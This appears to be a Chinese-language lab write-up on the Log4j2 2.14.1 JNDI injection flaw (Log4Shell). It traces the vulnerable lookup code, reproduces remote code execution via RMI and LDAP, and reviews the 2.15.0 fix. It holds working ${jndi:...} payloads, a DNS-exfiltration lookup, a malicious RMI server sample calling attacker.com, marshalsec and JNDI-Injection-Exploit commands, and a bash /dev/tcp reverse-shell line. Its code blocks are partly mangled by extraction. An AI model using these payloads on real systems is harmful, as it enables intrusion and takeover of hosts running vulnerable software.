本文最后更新于 2025年4月25日 晚上
                  
                
              
            
            
              
                
                环境准备 漏洞版本2.0到2.14.1
用maven构建
pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <? xml version="1.0"  encoding="UTF-8" ?> "http://maven.apache.org/POM/4.0.0" "http://www.w3.org/2001/XMLSchema-instance" "http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" >4.0 .0 </modelVersion>1.0 -SNAPSHOT</version>8 </maven.compiler.source>8 </maven.compiler.target>8 </project.build.sourceEncoding>2.14 .1 </version>2.14 .1 </version>
Main.javas
1 2 3 4 5 6 7 8 9 10 11 package org.example;public  class  Main  private  static  final  Logger logger = LogManager.getLogger ();public  static  void  main (String[] args) {error ("${jndi:ldap://wko5f7.dnslog.cn}" );
测试
前置 log4j2的lookup查询 
Lookup 是一种机制,用于动态获取和替换日志记录中的变量或属性的值。它提供了一种灵活的方式,可以在日志消息中引用、解析和插入各种上下文相关的信息。
 
Log4j2 内置了多个 Lookup 实现,每个 Lookup 都有不同的用途和功能。以下是一些常见的 Lookup 类型:
1 2 3 4 5 6 7 8 ${date}:获取当前日期和时间,支持自定义格式。class :fullyQualifiedName :methodName }:获取指定类的静态方法的返回值。$ {mdc:key}:获取 MDC  (Mapped Diagnostic Context) 中指定键的值。
常用的信息收集查询
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ${hostName}
lookup的jndi解析器 
JNDI(Java Naming and Directory Interface,Java 命名和目录接口) 是 Java 提供的一个 统一 API,用于访问各种命名和目录服务(如 LDAP、DNS、RMI、文件系统等)。它的核心作用是 通过名称(Name)查找资源(Object),类似于“电话号码簿”的概念。
 
jndi解析器语法
1 2 3 4 ${jndi:协议://地址/资源路径}
比如${jndi:dns://zkbp6w.dnslog.cn}会发送dns请求
lookup支持嵌套查询如${jndi:dns://${sys:java.version}.zkbp6w.dnslog.cn}
可以通过这种方式dns外带一些信息
这个解析器也是log4j2的漏洞源头
ldap 
LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)  是一种用于 访问和维护分布式目录服务  的协议。它类似于“网络电话簿”,专门用来高效查询和修改 层次化目录数据 (如用户账号、组织架构、设备信息等)。
 
就类似一个电话簿,当请求查询,参数为一个名字时(假设是唯一的),就会返回该名字对应的电话号码。
比如jndi:ldap://localhost/test
jndi对ldap服务器请求查询test,服务器会有如下响应
1 2 3 4 5 dn: test    //唯一条目,类似数据库的主键
当Java程序接收到这个响应的时候,会从 **javaCodeBase** 指定的 **http://attacker.com/** 下载 **Exploit.class**然后就会实例化这个类并执行其构造方法。这就是通过jndi请求ldap的方式来RCE的原理。
RMI 
RMI(Remote Method Invocation,远程方法调用)是 Java 提供的一种用于实现分布式程序 的技术,允许一个 Java 虚拟机(JVM)上的对象调用另一个 JVM 上的对象方法,就像调用本地方法一样。
 
远程接口
1 2 3 4 5 6 7 8 import  java.rmi.Remote;import  java.rmi.RemoteException;public  interface  MyRemote  extends  Remote  {sayHello (String name)  throws  RemoteException;int  add (int  a, int  b)  throws  RemoteException;
远程接口实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import  java.rmi.RemoteException;import  java.rmi.server.UnicastRemoteObject;public  class  MyRemoteImpl  extends  UnicastRemoteObject  implements  MyRemote  {public  MyRemoteImpl ()  throws  RemoteException {super (); @Override public  String sayHello (String name)  throws  RemoteException {return  "Hello, "  + name + "! (from RMI Server)" ;@Override public  int  add (int  a, int  b)  throws  RemoteException {return  a + b;
服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import  java.rmi.registry.LocateRegistry;import  java.rmi.registry.Registry;public  class  Main  {public  static  void  main (String[] args)  {try  {MyRemote  service  =  new  MyRemoteImpl ();Registry  registry  =  LocateRegistry.createRegistry(1099 );"MyRemoteService" , service);"RMI Server is running..." );catch  (Exception e) {
客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package  org.example;import  java.rmi.registry.LocateRegistry;import  java.rmi.registry.Registry;public  class  RMIClient  {public  static  void  main (String[] args)  {try  {Registry  registry  =  LocateRegistry.getRegistry("localhost" , 1099 );MyRemote  service  =  (MyRemote) registry.lookup("MyRemoteService" );String  greeting  =  service.sayHello("Alice" );int  result  =  service.add(5 , 3 );"Server says: "  + greeting);"5 + 3 = "  + result);catch  (Exception e) {
对于${jndi:rmi://attacker.com:1099/Exploit}
通过 JNDI 请求 **attacker.com:1099** 的 RMI 服务
1 2 3 4 5 6 7 8 9 public  class  EvilRMIServer  {public  static  void  main (String[] args)  throws  Exception {Registry  registry  =  LocateRegistry.createRegistry(1099 );Reference  ref  =  new  Reference ("Exploit" , "Exploit" , "http://attacker.com:8000/" );ReferenceWrapper  refWrapper  =  new  ReferenceWrapper (ref);"Exploit" , refWrapper);"RMI Server is ready..." );
RMI 返回一个 **Reference** 对象,指向 **http://attacker.com:8000/Exploit.class**,jndi会动态加载**Reference** 并实例化,也就是Java程序加载该**Exploit.class**并执行其中的恶意代码实现rce
审计 下断点调试
一路f7,只关注我们传入的值到
\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\layout\PatternLayout.class:400
这个循环,每循环一次buffer就会增加一些字符(这个其实就是输出的error),先是时间,然后是包路径,可以看到i=8前(也就是第8次循环结束后)的值为21:45:25.009 [main] ERROR org.example.Main - 
根据ERROR的输出可以知道,接下来这次循环(i=8,第九次循环)22:17:09.853 [main] ERROR org.example.Main -后面处理的是我们输入的字符
到D:\maven_repo\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\pattern\MessagePatternConverter.class:100
1 2 3 4 5 6 7 8 9 if  (this .config != null  && !this .noLookups) {for (int  i  =  offset; i < workingBuilder.length() - 1 ; ++i) {if  (workingBuilder.charAt(i) == '$'  && workingBuilder.charAt(i + 1 ) == '{' ) {String  value  =  workingBuilder.substring(offset, workingBuilder.length());this .config.getStrSubstitutor().replace(event, value));
对${开头的字符做一些处理继续跟进
到D:\maven_repo\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\lookup\StrSubstitutor.class:418
f7可以看到resolveVariable方法调用了lookup
lookup方法在D:\maven_repo\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\lookup\Interpolator.class:148
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public  String lookup (final  LogEvent event, String var )  {if  (var  == null ) {return  null ;else  {int  prefixPos  =  var .indexOf(58 );if  (prefixPos >= 0 ) {String  prefix  =  var .substring(0 , prefixPos).toLowerCase(Locale.US);String  name  =  var .substring(prefixPos + 1 );StrLookup  lookup  =  (StrLookup)this .strLookupMap.get(prefix);if  (lookup instanceof  ConfigurationAware) {this .configuration);String  value  =  null ;if  (lookup != null ) {null  ? lookup.lookup(name) : lookup.lookup(event, name);if  (value != null ) {return  value;var  = var .substring(prefixPos + 1 );if  (this .defaultLookup != null ) {return  event == null  ? this .defaultLookup.lookup(var ) : this .defaultLookup.lookup(event, var );else  {return  null ;
这个lookup会调用D:\maven_repo\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\lookup\Interpolator.class:148的lookup并且会根据解析到不同的解析器进入到对应的lookup查询
而这个lookup又会调用D:\maven_repo\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\lookup\MapLookup.class:68的lookup
而实际上解析${hostName}的是这个lookup
此时语句就会变成${jndi:dns://xxx.zkbp6w.dnslog.cn}
然后会继续D:\maven_repo\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\pattern\MessagePatternConverter.class:100的循环,直到匹配到下一个${也就是解析器,这里就是处理嵌套查询的地方
然后会跟前面${hostName}一样再次处理${jndi:dns://xxx.zkbp6w.dnslog.cn},然后调用对应的lookup
当匹配到jndi的时候
会调用D:\maven_repo\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\lookup\JndiLookup.class:30的lookup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package  org.apache.logging.log4j.core.lookup;import  java.util.Objects;import  javax.naming.NamingException;import  org.apache.logging.log4j.Logger;import  org.apache.logging.log4j.Marker;import  org.apache.logging.log4j.MarkerManager;import  org.apache.logging.log4j.core.LogEvent;import  org.apache.logging.log4j.core.config.plugins.Plugin;import  org.apache.logging.log4j.core.net.JndiManager;import  org.apache.logging.log4j.status.StatusLogger;@Plugin(     name = "jndi",     category = "Lookup" ) public  class  JndiLookup  extends  AbstractLookup  {private  static  final  Logger  LOGGER  =  StatusLogger.getLogger();private  static  final  Marker  LOOKUP  =  MarkerManager.getMarker("LOOKUP" );static  final  String  CONTAINER_JNDI_RESOURCE_PATH_PREFIX  =  "java:comp/env/" ;public  JndiLookup ()  {public  String lookup (final  LogEvent event, final  String key)  {if  (key == null ) {return  null ;else  {String  jndiName  =  this .convertJndiName(key);try  {JndiManager  jndiManager  =  JndiManager.getDefaultManager();Throwable  var5  =  null ;try  {null );catch  (Throwable var16) {throw  var16;finally  {if  (jndiManager != null ) {if  (var5 != null ) {try  {catch  (Throwable var15) {else  {return  var6;catch  (NamingException var18) {"Error looking up JNDI resource [{}]." , jndiName, var18);return  null ;private  String convertJndiName (final  String jndiName)  {return  !jndiName.startsWith("java:comp/env/" ) && jndiName.indexOf(58 ) == -1  ? "java:comp/env/"  + jndiName : jndiName;
这里就是触发jndi注入的地方
复现 RMI to rce rmi的限制比较多
要远程加载类需要**com.sun.jndi.rmi.object.trustURLCodebase=true**
JDK 8u121+  后,这个属性默认是 **false**
**JDK 9+**移除了 codebase 支持
下载jdk8u101
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html 
下面所有的编译/运行都要用jdk 8u101
恶意类Calc.java
1 2 3 4 5 6 7 public  class  Calc  {static  {try  {"calc.exe" ); catch  (Exception e) {}
javac .\Calc.java编译生成字节码
使用marshalsec搭建RMI服务器:
1 2 3 4 git clone https:package  -DskipTests0.0 .3 -SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.100.128:8000/#Calc"  1099  
开启http.server
运行客户端jndi
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package  org.example;import  org.apache.logging.log4j.LogManager;import  org.apache.logging.log4j.Logger;import  java.io.IOException;public  class  Main  {private  static  final  Logger  logger  =  LogManager.getLogger();public  static  void  main (String[] args)  {"com.sun.jndi.rmi.object.trustURLCodebase" , "true" ); "com.sun.jndi.rmi.trace" , "true" );  "${jndi:rmi://192.168.100.128:1099/Calc}" );
LDAP to rce ./java -cp ../marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "[http://192.168.100.128:8000/#Calc"](http://192.168.100.128:8000/#Calc") 1389 启动ldap服务
开启http.server放恶意类
运行客户端jndi
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package  org.example;import  org.apache.logging.log4j.LogManager;import  org.apache.logging.log4j.Logger;import  java.io.IOException;public  class  Main  {private  static  final  Logger  logger  =  LogManager.getLogger();public  static  void  main (String[] args)  {"com.sun.jndi.rmi.object.trustURLCodebase" , "true" ); "com.sun.jndi.ldap.object.trustURLCodebase" , "true" ); "${jndi:ldap://192.168.100.128:1389/Calc}" );
一些工具 javachains 可以生成很多java的payload
https://github.com/vulhub/java-chains/ 
手册 https://java-chains.vulhub.org/docs/guide 
用docker部署
1 2 3 4 5 6 7 8 9 10 11 12 13 14 docker run -d \8011 :8011  \58080 :58080  \50389 :50389  \50388 :50388  \3308 :3308  \13999 :13999  \50000 :50000  \11527 :11527  \false  \1.4 .1 
登录页面:http://your-ip:8011
JNDI-Injection-Exploit git clone [https://github.com/sayers522/JNDI-Injection-Exploit.git](https://github.com/sayers522/JNDI-Injection-Exploit.git)
mvn clean package -DskipTests
1 2 3 4 5 6 bash -i >& /dev/tcp/192.168 .100 .128 /6666  0 >&1   
这里是windows,就弹计算器
1 2 ../../jdk1.8 .0_101 /bin/java -jar JNDI-Injection-Exploit-1.0 -SNAPSHOT-all.jar -C 'calc.exe'  -A '192.168.100.128' 
修复 https://github.com/apache/logging-log4j2/compare/rel/2.14.1...rel/2.15.0 
直接看diff2.14.0->2.15.0
src/site/xdoc/manual/lookups.xml增加了如下
1 2 3 4 5 6 7 <p>By default  the JDNI Lookup only supports the java, ldap, and ldaps protocols or no protocol. Additionalinterface  are  not supported for  securitydefault  as well as any classes specified by the
在**log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java**
禁止除**java**、**ldap**、**ldaps**外的其他协议(如**rmi**、**dns**),防止攻击者利用其他协议触发RCE
增加了协议、host、referer、classname的校验并且Object_Factory不能加载远程ObjectFactory类